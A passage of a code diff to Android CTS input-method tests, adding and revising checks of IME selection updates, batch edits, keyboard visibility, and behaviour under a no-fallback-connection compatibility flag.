+    }
+
+    @Test
+    public void testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_textView()
+            throws Exception {
+        getCommitSpaceAndSetComposingRegionInSelectionTest(TIMEOUT,
+                "testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_textView/")
+                .setTestTextView(true)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_webView()
+            throws Exception {
+        getCommitSpaceAndSetComposingRegionInSelectionTest(TIMEOUT,
+                "testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_webView/")
+                .setTestTextView(false)
+                .runTest();
+    }
+
+    @Test
+    public void testImeVisibleAfterRotation() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final Activity activity = createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            final int initialOrientation = activity.getRequestedOrientation();
+            try {
+                activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
+                mInstrumentation.waitForIdleSync();
+                expectImeVisible(TIMEOUT);
+
+                activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
+                mInstrumentation.waitForIdleSync();
+                expectImeVisible(TIMEOUT);
+            } finally {
+                if (initialOrientation != SCREEN_ORIENTATION_PORTRAIT) {
+                    activity.setRequestedOrientation(initialOrientation);
+                }
+            }
+        }
+    }
+
+    /** Test case for committing and setting composing region after cursor. */
+    private static UpdateSelectionTest getCommitAndSetComposingRegionTest(
+            long timeout, String makerPrefix) throws Exception {
+        UpdateSelectionTest test = new UpdateSelectionTest(timeout, makerPrefix) {
+            @Override
+            public void testMethodImpl() throws Exception {
+                // "abc|"
+                expectCommand(stream, imeSession.callCommitText("abc", 1), timeout);
+                verifyText("abc", 3, 3);
+                final Bundle arguments1 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments1, 0, 0, 3, 3, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "|abc"
+                expectCommand(stream, imeSession.callSetSelection(0, 0), timeout);
+                verifyText("abc", 0, 0);
+                final Bundle arguments2 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments2, 3, 3, 0, 0, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "Back |abc"
+                //        ---
+                expectCommand(stream, imeSession.callBeginBatchEdit(), timeout);
+                expectCommand(stream, imeSession.callCommitText("Back ", 1), timeout);
+                expectCommand(stream, imeSession.callSetComposingRegion(5, 8), timeout);
+                expectCommand(stream, imeSession.callEndBatchEdit(), timeout);
+                verifyText("Back abc", 5, 5);
+                final Bundle arguments3 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments3, 0, 0, 5, 5, 5, 8);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+            }
+        };
+        return test;
+    }
+
+    /** Test case for committing space and setting composing region after cursor. */
+    private static UpdateSelectionTest getCommitSpaceAndSetComposingRegionTest(
+            long timeout, String makerPrefix) throws Exception {
+        UpdateSelectionTest test = new UpdateSelectionTest(timeout, makerPrefix) {
+            @Override
+            public void testMethodImpl() throws Exception {
+                // "Hello|"
+                //  -----
+                expectCommand(stream, imeSession.callSetComposingText("Hello", 1), timeout);
+                verifyText("Hello", 5, 5);
+                final Bundle arguments1 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments1, 0, 0, 5, 5, 0, 5);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "|Hello"
+                //   -----
+                expectCommand(stream, imeSession.callSetSelection(0, 0), timeout);
+                verifyText("Hello", 0, 0);
+                final Bundle arguments2 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments2, 5, 5, 0, 0, 0, 5);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // " |Hello"
+                //    -----
+                expectCommand(stream, imeSession.callBeginBatchEdit(), timeout);
+                expectCommand(stream, imeSession.callFinishComposingText(), timeout);
+                expectCommand(stream, imeSession.callCommitText(" ", 1), timeout);
+                expectCommand(stream, imeSession.callSetComposingRegion(1, 6), timeout);
+                expectCommand(stream, imeSession.callEndBatchEdit(), timeout);
+
+                verifyText(" Hello", 1, 1);
+                final Bundle arguments3 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments3, 0, 0, 1, 1, 1, 6);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+            }
+        };
+        return test;
+    }
+
+    /**
+     * Test case for committing space in the middle of selection and setting composing region after
+     * cursor.
+     */
+    private static UpdateSelectionTest getCommitSpaceAndSetComposingRegionInSelectionTest(
+            long timeout, String makerPrefix) throws Exception {
+        UpdateSelectionTest test = new UpdateSelectionTest(timeout, makerPrefix) {
+            @Override
+            public void testMethodImpl() throws Exception {
+                // "2005abc|"
+                expectCommand(stream, imeSession.callCommitText("2005abc", 1), timeout);
+                verifyText("2005abc", 7, 7);
+                final Bundle arguments1 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments1, 0, 0, 7, 7, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "2005|abc"
+                expectCommand(stream, imeSession.callSetSelection(4, 4), timeout);
+                verifyText("2005abc", 4, 4);
+                final Bundle arguments2 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments2, 7, 7, 4, 4, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "2005 |abc"
+                //        ---
+                expectCommand(stream, imeSession.callBeginBatchEdit(), timeout);
+                expectCommand(stream, imeSession.callCommitText(" ", 1), timeout);
+                expectCommand(stream, imeSession.callSetComposingRegion(5, 8), timeout);
+                expectCommand(stream, imeSession.callEndBatchEdit(), timeout);
+
+                verifyText("2005 abc", 5, 5);
+                final Bundle arguments3 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments3, 4, 4, 5, 5, 5, 8);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+            }
+        };
+        return test;
+    }
+
+    private static void expectOnUpdateSelectionArguments(Bundle arguments,
+            int expectedOldSelStart, int expectedOldSelEnd, int expectedNewSelStart,
+            int expectedNewSelEnd, int expectedCandidateStart, int expectedCandidateEnd) {
+        assertEquals(expectedOldSelStart, arguments.getInt("oldSelStart"));
+        assertEquals(expectedOldSelEnd, arguments.getInt("oldSelEnd"));
+        assertEquals(expectedNewSelStart, arguments.getInt("newSelStart"));
+        assertEquals(expectedNewSelEnd, arguments.getInt("newSelEnd"));
+        assertEquals(expectedCandidateStart, arguments.getInt("candidatesStart"));
+        assertEquals(expectedCandidateEnd, arguments.getInt("candidatesEnd"));
+    }
+
+    /**
+     * Helper class for wrapping tests for {@link android.widget.TextView} and @{@link WebView}
+     * relates to batch edit and update selection change.
+     */
+    private abstract static class UpdateSelectionTest {
+        private final long mTimeout;
+        private final String mMaker;
+        private final AtomicReference<EditText> mEditTextRef = new AtomicReference<>();
+        private final AtomicReference<UiObject2> mInputTextFieldRef = new AtomicReference<>();
+
+        public final MockImeSession imeSession;
+        public final ImeEventStream stream;
+
+        // True if testing TextView, otherwise test WebView
+        private boolean mIsTestingTextView;
+
+        UpdateSelectionTest(long timeout, String makerPrefix) throws Exception {
+            this.mTimeout = timeout;
+            this.mMaker = makerPrefix + SystemClock.elapsedRealtimeNanos();
+            imeSession = MockImeSession.create(
+                    InstrumentationRegistry.getInstrumentation().getContext(),
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    new ImeSettings.Builder());
+            stream = imeSession.openEventStream();
+        }
+
+        /**
+         * Runs the real test logic, which would test onStartInput event first, then test the logic
+         * in {@link #testMethodImpl()}.
+         *
+         * @throws Exception if timeout or assert fails
+         */
+        public void runTest() throws Exception {
+            if (mIsTestingTextView) {
+                TestActivity.startSync(activity -> {
+                    final LinearLayout layout = new LinearLayout(activity);
+                    layout.setOrientation(LinearLayout.VERTICAL);
+                    final EditText editText = new EditText(activity);
+                    layout.addView(editText);
+                    editText.requestFocus();
+                    editText.setPrivateImeOptions(mMaker);
+                    mEditTextRef.set(editText);
+                    return layout;
+                });
+                assertNotNull(mEditTextRef.get());
+            } else {
+                final UiObject2 inputTextField = TestWebView.launchTestWebViewActivity(
+                        mTimeout, mMaker);
+                assertNotNull("Editor must exists on WebView", inputTextField);
+                mInputTextFieldRef.set(inputTextField);
+                inputTextField.click();
+            }
+            expectEvent(stream, editorMatcher("onStartInput", mMaker), TIMEOUT);
+
+            // Code for testing input connection logic.
+            testMethodImpl();
+        }
+
+        /**
+         * Test method to be overridden by implementation class.
+         */
+        public abstract void testMethodImpl() throws Exception;
+
+        /**
+         * Verifies text and selection range in the edit text if this is running tests for TextView;
+         * otherwise verifies the text (no selection) in the WebView.
+         * @param expectedText expected text in the TextView or WebView
+         * @param selStart expected start position of the selection in the TextView; will be ignored
+         *                 for WebView
+         * @param selEnd expected end position of the selection in the WebView; will be ignored for
+         *               WebView
+         * @throws Exception if timeout or assert fails
+         */
+        public void verifyText(String expectedText, int selStart, int selEnd) throws Exception {
+            if (mIsTestingTextView) {
+                EditText editText = mEditTextRef.get();
+                assertNotNull(editText);
+                waitOnMainUntil(()->
+                        expectedText.equals(editText.getText().toString())
+                                && selStart == editText.getSelectionStart()
+                                && selEnd == editText.getSelectionEnd(), mTimeout);
+            } else {
+                UiObject2 inputTextField = mInputTextFieldRef.get();
+                assertNotNull(inputTextField);
+                waitOnMainUntil(()-> expectedText.equals(inputTextField.getText()), mTimeout);
+            }
+        }
+
+        public UpdateSelectionTest setTestTextView(boolean isTestingTextView) {
+            this.mIsTestingTextView = isTestingTextView;
+            return this;
+        }
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
index fc724f8..4eb6573 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
@@ -16,6 +16,7 @@
 
 package android.view.inputmethod.cts;
 
+import static android.inputmethodservice.InputMethodService.FINISH_INPUT_NO_FALLBACK_CONNECTION;
 import static android.view.View.SCREEN_STATE_OFF;
 import static android.view.View.SCREEN_STATE_ON;
 import static android.view.View.VISIBLE;
@@ -26,6 +27,7 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
@@ -36,11 +38,13 @@
 import android.os.IBinder;
 import android.os.Process;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.text.TextUtils;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.DisableScreenDozeRule;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.RequireImeCompatFlagRule;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.view.inputmethod.cts.util.TestUtils;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
@@ -75,14 +79,18 @@
     public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
+    @Rule
+    public final RequireImeCompatFlagRule mRequireImeCompatFlagRule = new RequireImeCompatFlagRule(
+            FINISH_INPUT_NO_FALLBACK_CONNECTION, true);
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
     public void testInputConnectionStateWhenScreenStateChanges() throws Exception {
         final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         final Context context = instrumentation.getTargetContext();
-        final InputMethodManager imManager = context.getSystemService(InputMethodManager.class);
+        final InputMethodManager imm = context.getSystemService(InputMethodManager.class);
         assumeTrue(context.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_INPUT_METHODS));
         final AtomicReference<EditText> focusedEditTextRef = new AtomicReference<>();
@@ -125,7 +133,17 @@
             TestUtils.turnScreenOff();
             TestUtils.waitOnMainUntil(() -> screenStateCallbackRef.get() == SCREEN_STATE_OFF
                             && editText.getWindowVisibility() != VISIBLE, TIMEOUT);
-            expectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+
+            if (MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                // Expected only onFinishInput and the EditText is inactive for input method.
+                expectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+                notExpectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+                assertFalse(TestUtils.getOnMainSync(() -> imm.isActive(editText)));
+                assertFalse(TestUtils.getOnMainSync(() -> imm.isAcceptingText()));
+            } else {
+                expectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+            }
+
             final ImeCommand commit = imeSession.callCommitText("Hi!", 1);
             expectCommand(stream, commit, TIMEOUT);
             TestUtils.waitOnMainUntil(() -> !TextUtils.equals(editText.getText(), "Hi!"), TIMEOUT,
@@ -137,9 +155,14 @@
             TestUtils.waitOnMainUntil(() -> screenStateCallbackRef.get() == SCREEN_STATE_ON
                             && editText.getWindowVisibility() == VISIBLE, TIMEOUT);
             CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText);
+
             expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            if (MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                // Expected only onStartInput and the EditText is active for input method.
+                notExpectEvent(stream, onFinishInputMatcher(), TIMEOUT);
+            }
             assertTrue(TestUtils.getOnMainSync(
-                    () -> imManager.isActive(editText) && imManager.isAcceptingText()));
+                    () -> imm.isActive(editText) && imm.isAcceptingText()));
             final ImeCommand commit1 = imeSession.callCommitText("Hello!", 1);
             expectCommand(stream, commit1, TIMEOUT);
             TestUtils.waitOnMainUntil(() -> TextUtils.equals(editText.getText(), "Hello!"), TIMEOUT,
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index cad3309..f98dc93 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,6 +16,8 @@
 
 package android.view.inputmethod.cts;
 
+import static android.content.Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS;
+import static android.inputmethodservice.InputMethodService.FINISH_INPUT_NO_FALLBACK_CONNECTION;
 import static android.view.View.VISIBLE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
@@ -29,28 +31,41 @@
 import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
 import static android.view.inputmethod.cts.util.TestUtils.runOnMainSync;
 
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.waitForInputViewLayoutStable;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.AlertDialog;
 import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Intent;
 import android.graphics.Color;
+import android.net.Uri;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
 import android.support.test.uiautomator.UiObject2;
 import android.text.TextUtils;
 import android.util.Pair;
+import android.view.Gravity;
 import android.view.KeyEvent;
 import android.view.View;
 import android.view.WindowInsetsController;
+import android.view.WindowManager;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethod;
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.RequireImeCompatFlagRule;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.view.inputmethod.cts.util.TestUtils;
 import android.view.inputmethod.cts.util.TestWebView;
@@ -63,9 +78,14 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
 
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeLayoutInfo;
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
@@ -73,6 +93,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Predicate;
@@ -81,10 +102,30 @@
 @RunWith(AndroidJUnit4.class)
 public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long START_INPUT_TIMEOUT = TimeUnit.SECONDS.toMillis(10);
     private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
+    private static final long LAYOUT_STABLE_THRESHOLD = TimeUnit.SECONDS.toMillis(3);
+
+    private static final ComponentName TEST_ACTIVITY = new ComponentName(
+            "android.view.inputmethod.ctstestapp",
+            "android.view.inputmethod.ctstestapp.MainActivity");
+    private static final Uri TEST_ACTIVITY_URI =
+            Uri.parse("https://example.com/android/view/inputmethod/ctstestapp");
+    private static final String EXTRA_KEY_SHOW_DIALOG =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_SHOW_DIALOG";
+    private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+
+    private static final String ACTION_TRIGGER = "broadcast_action_trigger";
+    private static final String EXTRA_DISMISS_DIALOG = "extra_dismiss_dialog";
+    private static final String EXTRA_SHOW_SOFT_INPUT = "extra_show_soft_input";
+    private static final int NEW_KEYBOARD_HEIGHT = 400;
 
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
+    @Rule
+    public final RequireImeCompatFlagRule mRequireImeCompatFlagRule = new RequireImeCompatFlagRule(
+            FINISH_INPUT_NO_FALLBACK_CONNECTION, true);
 
     private static final String TEST_MARKER_PREFIX =
             "android.view.inputmethod.cts.KeyboardVisibilityControlTest";
@@ -275,20 +316,16 @@
                 InstrumentationRegistry.getInstrumentation().getUiAutomation(),
                 new ImeSettings.Builder())) {
             final ImeEventStream stream = imeSession.openEventStream();
-
+            final String marker = getTestMarker();
             final UiObject2 inputTextField = TestWebView.launchTestWebViewActivity(
-                    TimeUnit.SECONDS.toMillis(5));
+                    TIMEOUT, marker);
             assertNotNull("Editor must exists on WebView", inputTextField);
-
-            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
-            notExpectEvent(stream, event -> "onStartInputView".equals(event.getEventName()),
-                    TIMEOUT);
             expectImeInvisible(TIMEOUT);
 
             inputTextField.click();
             expectEvent(stream.copy(), showSoftInputMatcher(InputMethod.SHOW_EXPLICIT), TIMEOUT);
-            expectEvent(stream.copy(), event -> "onStartInputView".equals(event.getEventName()),
-                    TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
             expectImeVisible(TIMEOUT);
         }
     }
@@ -415,28 +452,33 @@
         }
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_Unspecified() throws Exception {
+    public void testImeState_Unspecified_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_Visible() throws Exception {
+    public void testImeState_Visible_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysVisible() throws Exception {
+    public void testImeState_AlwaysVisible_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_Hidden() throws Exception {
+    public void testImeState_Hidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
     }
 
+    @AppModeFull(reason = "KeyguardManager is not accessible from instant apps")
     @Test
-    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysHidden() throws Exception {
+    public void testImeState_AlwaysHidden_EditorDialogLostFocusAfterUnlocked() throws Exception {
         runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
     }
 
@@ -446,7 +488,6 @@
                 InstrumentationRegistry.getInstrumentation().getUiAutomation(),
                 new ImeSettings.Builder())) {
             final ImeEventStream stream = imeSession.openEventStream();
-
             // Launch a simple test activity
             final TestActivity testActivity =
                     TestActivity.startSync(activity -> new LinearLayout(activity));
@@ -479,32 +520,319 @@
                     View.VISIBLE, TIMEOUT);
             expectImeVisible(TIMEOUT);
 
-            // Clear editor focus after screen-off
             TestUtils.turnScreenOff();
             TestUtils.waitOnMainUntil(() -> editTextRef.get().getWindowVisibility() != VISIBLE,
                     TIMEOUT);
             expectEvent(stream, onFinishInputViewMatcher(true), TIMEOUT);
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
-            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
-            // Expect showSoftInput comes when system notify InsetsController to apply show IME
-            // insets after IME input target updated.
-            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
-            notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+            if (MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                expectEvent(stream, event -> "onFinishInput".equals(event.getEventName()), TIMEOUT);
+                notExpectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+                        NOT_EXPECT_TIMEOUT);
+            } else {
+                expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+                expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+                // Expect showSoftInput comes when system notify InsetsController to apply show IME
+                // insets after IME input target updated.
+                expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+                notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+            }
+
+            // Clear editor focus after screen-off
             TestUtils.runOnMainSync(editTextRef.get()::clearFocus);
 
             // Verify IME will invisible after device unlocked
             TestUtils.turnScreenOn();
             TestUtils.unlockScreen();
-            // Expect hideSoftInput and onFinishInputView will called by IMMS when the same window
+            // Expect hideSoftInput will called by IMMS when the same window
             // focused since the editText view focus has been cleared.
             TestUtils.waitOnMainUntil(() -> editTextRef.get().hasWindowFocus()
                     && !editTextRef.get().hasFocus(), TIMEOUT);
             expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
-            expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            if (!MockImeSession.isFinishInputNoFallbackConnectionEnabled()) {
+                expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            }
             expectImeInvisible(TIMEOUT);
         }
     }
 
+    @AppModeFull
+    @Test
+    public void testImeVisibilityWhenImeTransitionBetweenActivities_Full() throws Exception {
+        runImeVisibilityWhenImeTransitionBetweenActivities(false /* instant */);
+    }
+
+    @AppModeInstant
+    @Test
+    public void testImeVisibilityWhenImeTransitionBetweenActivities_Instant() throws Exception {
+        runImeVisibilityWhenImeTransitionBetweenActivities(true /* instant */);
+    }
+
+    @AppModeFull
+    @Test
+    public void testImeInvisibleWhenForceStopPkgProcess_Full() throws Exception {
+        runImeVisibilityTestWhenForceStopPackage(false /* instant */);
+    }
+
+    @AppModeInstant
+    @Test
+    public void testImeInvisibleWhenForceStopPkgProcess_Instant() throws Exception {
+        runImeVisibilityTestWhenForceStopPackage(true /* instant */);
+    }
+
+    @Test
+    public void testRestoreImeVisibility() throws Exception {
+        runRestoreImeVisibility(TestSoftInputMode.UNCHANGED_WITH_BACKWARD_NAV, true);
+    }
+
+    @Test
+    public void testRestoreImeVisibility_noRestoreForAlwaysHidden() throws Exception {
+        runRestoreImeVisibility(TestSoftInputMode.ALWAYS_HIDDEN_WITH_BACKWARD_NAV, false);
+    }
+
+    @Test
+    public void testRestoreImeVisibility_noRestoreForHiddenWithForwardNav() throws Exception {
+        runRestoreImeVisibility(TestSoftInputMode.HIDDEN_WITH_FORWARD_NAV, false);
+    }
+
+    private enum TestSoftInputMode {
+        UNCHANGED_WITH_BACKWARD_NAV,
+        ALWAYS_HIDDEN_WITH_BACKWARD_NAV,
+        HIDDEN_WITH_FORWARD_NAV
+    }
+
+    private void runRestoreImeVisibility(TestSoftInputMode mode, boolean expectImeVisible)
+            throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final WindowManager wm = instrumentation.getContext().getSystemService(WindowManager.class);
+        // As restoring IME visibility behavior is only available when TaskSnapshot mechanism
+        // enabled, skip the test when TaskSnapshot is not supported.
+        assumeTrue("Restoring IME visibility not available when TaskSnapshot unsupported",
+                wm.isTaskSnapshotSupported());
+
+        try (MockImeSession imeSession = MockImeSession.create(
+                instrumentation.getContext(), instrumentation.getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            final String markerForActivity1 = getTestMarker();
+            final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+            // Launch a test activity with focusing editText to show keyboard
+            TestActivity.startSync(activity -> {
+                final LinearLayout layout = new LinearLayout(activity);
+                final EditText editText = new EditText(activity);
+                editTextRef.set(editText);
+                editText.setHint("focused editText");
+                editText.setPrivateImeOptions(markerForActivity1);
+                editText.requestFocus();
+                layout.addView(editText);
+                activity.getWindow().getDecorView().getWindowInsetsController().show(ime());
+                if (mode == TestSoftInputMode.ALWAYS_HIDDEN_WITH_BACKWARD_NAV) {
+                    activity.getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
+                }
+                return layout;
+            });
+
+            expectEvent(stream, editorMatcher("onStartInput", markerForActivity1), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", markerForActivity1), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            // Launch another app task activity to hide keyboard
+            TestActivity.startNewTaskSync(activity -> {
+                activity.getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
+                return new LinearLayout(activity);
+            });
+            expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.GONE, TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
